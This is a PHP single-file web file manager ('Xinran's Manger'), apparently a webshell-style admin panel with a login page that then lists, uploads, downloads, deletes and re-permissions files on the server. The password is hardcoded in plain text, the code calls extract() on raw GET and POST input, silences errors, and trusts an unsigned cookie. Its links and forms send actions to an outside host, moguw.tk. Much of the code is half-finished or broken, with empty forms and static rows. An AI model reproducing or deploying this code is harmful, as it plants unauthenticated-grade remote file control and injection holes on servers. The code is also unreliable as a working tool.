<?php
/*
$name:xinran
$pwd:jason
/*
根目录：
$_SERVER['DOCUMENT_ROOT']
*/
//屏蔽notice错误
error_reporting(0);

//释放参数
@extract($_GET, EXTR_SKIP);
@extract($_POST, EXTR_SKIP);

if(empty($_POST["xname"]) && empty( $_POST["xpwd"])){?>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 		 
		<title>Xinran's Manger</title> 
		<style>
			* { margin: 0px; padding: 0px; }
		body { margin: 0 auto; background: #f5f5f5;color: #555;width: 800px; }
		#xinran{ 
				float: left;
				border: 1px solid #ddd; 
				padding: 30px 40px 20px 40px; 
				margin: 75px 0 0 0;
				width: 700px;
				background: #fff;
				-webkit-border-radius: 10px;
				-moz-border-radius: 10px;
				border-radius: 10px; 		
				background: -webkit-gradient(linear, 0% 0%, 0% 40%, from(#EEE), to(#FFFFFF)); 
				background: -moz-linear-gradient(0% 40% 90deg,#FFF, #EEE); 
				-webkit-box-shadow:0px 0 50px #ccc;
				-moz-box-shadow:0px 0 50px #ccc; 
				box-shadow:0px 0 50px #ccc;		 		
		}	
		input, textarea {	
				padding: 8px; 
				margin: 4px 0px 0px; 
				background: #fff; 
				width: 220px; 
				font-size: 14px; 
				color: #555; 
				border: 1px #ddd solid;
				-webkit-box-shadow: 0px 0px 4px #aaa;
				-moz-box-shadow: 0px 0px 4px #aaa; 
				box-shadow: 0px 0px 4px #aaa;
				-webkit-transition: background 0.3s linear;							
		}
		input:hover, textarea:hover {background: #eee; }

		input.submit { 	
				width: 80px; 
				color: #eee; 
				text-transform: uppercase; 
				margin: 12px 0 0;
				background-color: #18a5cc;
				border: none;
				-webkit-transition: -webkit-box-shadow 0.3s linear;
				-moz-border-radius: 4px; 
				-webkit-border-radius: 4px;
				border-radius: 4px; 
				background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#18a5cc), to(#0a85a8)); 
				background: -moz-linear-gradient(25% 75% 90deg,#0a85a8, #18a5cc);		
		} 


		#table{
			margin:0 auto;background:lightgrayfloat: left;
				border: 1px solid #ddd; 
				padding: 30px 40px 20px 40px; 
				width: 500px;
				background: #fff;
				-webkit-border-radius: 10px;
				-moz-border-radius: 10px;
				border-radius: 10px; 		
				background: -webkit-gradient(linear, 0% 0%, 0% 40%, from(#EEE), to(#FFFFFF)); 
				background: -moz-linear-gradient(0% 40% 90deg,#FFF, #EEE); 
				-webkit-box-shadow:0px 0 50px #ccc;
				-moz-box-shadow:0px 0 50px #ccc; 
				box-shadow:0px 0 50px #ccc;	
		}	
		</style>
	
	</head>
	<body>
	<div id="xinran"> 
					<p align="center"><b><font size="99px" style="color:#A757A8;">Xinran's Manger</font></b></p>
					<table id="table" width="400px" height="208" border="0" cellpadding="0" cellspacing="0" style="">
						<form id="login" name="login" method="post" action="">
							  <tbody><tr>
								<td><font face="黑体">用户名：</font></td>
								<td><input name="xname" type="text" size="20"></td>
							  </tr>
							  <tr>
								<td><font face="黑体">密     码：</font></td>
								<td><input name="xpwd" type="password" id="password" size="20"></td>
							  </tr>
							 <!--<tr>
								<td><font face="黑体">验证码：</font></td>
								<td><input name="verify" type="text"><img src="img.php?act=jason" alt="CAPTCHA" onclick= 'this.src="img.php?act=jason&"+Math.random()' style="cursor: pointer;" title="看不清？点击更换另一个验证码。" /></td>
							  </tr>-->
							  <tr>
							  <td align="center"></td>
								<td align="center" style="padding-left:50px;"><input type="submit" value="Login" name="submit" class="submit"></td>
								
							  </tr>
						  
					  </tbody></table></form>
	</div>	

</body></html>

<?php 
}/*else if(session_start() && $_POST["verify"] != $_SESSION['verify']){
 echo $_POST["verify"]."<br>";
echo $_SESSION['verify'];exit; 
	echo "<script type='text/javascript'>alert('Verify is Error~')</script>";
	die('<meta http-equiv="refresh" content="0;URL='.$_SERVER['PHP_SELF'].'">');

}*/else if($_POST["xname"] == "xinran" && $_POST["xpwd"] == "jason"){
		setcookie("xname",$_POST["xname"]);
		//echo $_COOKIE['xname'];
?>
	
<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		
		<title>PHP文件管理器</title>
			<style>
			.text {font-family: "宋体"; font-size: 20px;height:30; color: #FF0000; background-color: #000000}
			body {font: normal 13px auto "Trebuchet MS", Verdana, Arial, Helvetica, sans-serif;color: #4f6b72;background: #E6EAE9;}
			a {color: #00BFFF;}
			#mytable {width: 700px;padding: 0;margin: 0;}
			th {font: bold 13px "Trebuchet MS", Verdana, Arial, Helvetica, sans-serif;color: #4f6b72;border-right: 1px solid #C1DAD7;border-bottom: 1px solid #C1DAD7;border-top: 1px solid #C1DAD7;letter-spacing: 2px;text-transform: uppercase;text-align: center;padding: 6px 6px 6px 12px;background: #CAE8EA no-repeat;}
			td {border-right: 1px solid #C1DAD7;border-bottom: 1px solid #C1DAD7;background: #fff;font-size: 13px;padding: 6px 6px 6px 12px;color: #4f6b72;}
			input.submit{background: #e3e3e3;border: 1px solid #bbb;-webkit-border-radius: 3px;-moz-border-radius: 3px;-ms-border-radius: 3px;-o-border-radius: 3px;border-radius: 3px;-webkit-box-shadow: inset 0 0 1px 1px #f6f6f6;-moz-box-shadow: inset 0 0 1px 1px #f6f6f6;-ms-box-shadow: inset 0 0 1px 1px #f6f6f6;-o-box-shadow: inset 0 0 1px 1px #f6f6f6;box-shadow: inset 0 0 1px 1px #f6f6f6;color: #333;font: bold 12px "helvetica neue", helvetica, arial, sans-serif;line-height: 1;padding: 3px 0 3px;text-align: center;text-shadow: 0 1px 0 #fff;width: 60px; }
			</style>
	</head>



<body> 

<div class="main">
	<div align="center">
		<table width="100%">
			<tbody>
				<tr>	
					<td>
						<p style="text-align:center;"><span style="font-size:25px;"><a href="#" style="text-decoration: none">PHP文件管理器X1.0</a></span></p>
					</td>
				</tr>
			</tbody>
		</table>
	</div>

	<div>
		<table width="100%">
			<tbody>
				<tr>
					<td width="30%">主机:<strong><?php echo $_COOKIE['xname']; ?></strong>&nbsp;&nbsp;[<?php echo $_SERVER['SERVER_NAME']?>]</td>
					<td width="40%">时间:<?php echo date("Y-m-d H:m:s",time()+8*3600); ?></td>
					<td width="25%">IP: <?php echo $_SERVER['REMOTE_ADDR']; ?></td>
					<td width="5%"><span style="float:right"><a href="" style="text-decoration: none">退出</a></span></td>
				</tr>
			</tbody>
		</table>
</div>



<div>
<table width="100%">
<tbody><tr><form action="http://moguw.tk/test/?curl=/" method="post"></form>
<td width="30%">路径: /</td>
<td width="65%">网址：<input type="text" name="url" size="35">文件名：<input type="text" name="urlnm" size="15"> <input type="submit" class="submit" value="离线下载" name="B1"></td>
<td width="5%"><span style="float:right"><a href="http://moguw.tk/test/?upgrade=true" style="text-decoration: none">升级</a></span></td>
</tr>
</tbody></table>
</div>
<div>
<script language="javascript"><!--
var CheckAll=new Function("form","for (var i=0;i<form.elements.length;i++) {var e = form.elements[i];if (e.name != 'chkall') e.checked = form.chkall.checked;}");
//--></script>
	<form action="" method="post" name="form">
	<table width="100%">
		<colgroup width="20%"></colgroup>
		<colgroup width="18%" align="center"></colgroup>
		<colgroup width="18%" align="center"></colgroup>
		<colgroup width="9%" align="center"></colgroup>
		<colgroup width="9%" align="center"></colgroup>
		<colgroup width="25%" align="center"></colgroup>
		<tbody>
			<tr><th>文件名</th><th>创建日期</th><th>修改日期</th><th>大小</th><th>属性</th><th>操作</th></tr>
			<tr class="t1"><td colspan="6"><a href="#" style="text-decoration: none">返回</a></td></tr>
			
			<tr class="t2">
			<?php fileeach(dirname(__FILE__)); ?>
				<td><input type="checkbox" class="check" value="1" name="z[%2Ffm]"><a href="http://moguw.tk/test/?dir=/fm/" style="text-decoration: none"><?php $paths ?></a></td>
				<td align="center">2013-08-23 10:00:16</td>
				<td align="center">2013-08-23 10:00:16</td>
				<td align="center">文件夹</td>
				<td align="center"><a href="http://moguw.tk/test/?fileperm=/fm" style="text-decoration: none">0755</a></td>
				<td align="center"><a href="http://moguw.tk/test/?copy=%2Ffm" style="text-decoration: none">复制</a>
				<a href="http://moguw.tk/test/?move=%2Ffm" style="text-decoration: none">移动</a>
				<a href="http://moguw.tk/test/?del=%2Ffm" style="text-decoration: none">删除</a>
				<a href="http://moguw.tk/test/?rename=%2Ffm" style="text-decoration: none">重命名</a></td>
			</tr>
			<tr>
				<td colspan="6"><input name="chkall" class="check" value="on" type="checkbox" onclick="CheckAll(this.form)">选中文件:
				<input type="hidden" name="ref" value="%2F">
				<input type="submit" class="submit" name="zippack" value="压缩">
				<input type="submit" class="submit" name="multcopy" value="复制">
				<input type="submit" class="submit" name="multmove" value="移动">
				<input type="submit" class="submit" name="multdel" value="删除"></td>
			</tr>
		</tbody>
	</table>
	</form>
</div>


<div class="bottom"><table width="100%">
<tbody><tr><form action="http://moguw.tk/test/?upload=%2F" method="post" enctype="multipart/form-data"></form><td width="50%">批量上传：<input type="file" name="file[]" size="30" multiple=""> <input type="submit" class="submit" value="上传"></td>
<form action="" method="post"></form><td width="50%">新建文件或目录：<input type="text" size="20" name="newdir" value=""> <input type="submit" class="submit" name="cd" value="文件"> <input type="submit" class="submit" name="md" value="目录"></td>
</tr>
</tbody></table></div>

</div></body></html>
<?php }else{
	die('<meta http-equiv="refresh" content="0;URL='.$_SERVER['PHP_SELF'].'">');
} ?>


<?php 
    function fileeach($path) {
        $current_dir = opendir($path); 
                while(($file = readdir($current_dir)) !== false) {  
                    $sub_dir = $path.DIRECTORY_SEPARATOR.$file;   
                    if($file == '.' || $file == '..') {
                        continue;						
                    } else if(is_dir($sub_dir)) {  
						
                        echo   $paths="'目录：' . $file . '<br>'";
                       fileeach($sub_dir);
                    } else {   
                        // echo '文件：' . $path . '/' . $file . '<br>';
                        echo '文件：' .$file . '<br>';
                    }
                }
            }

?>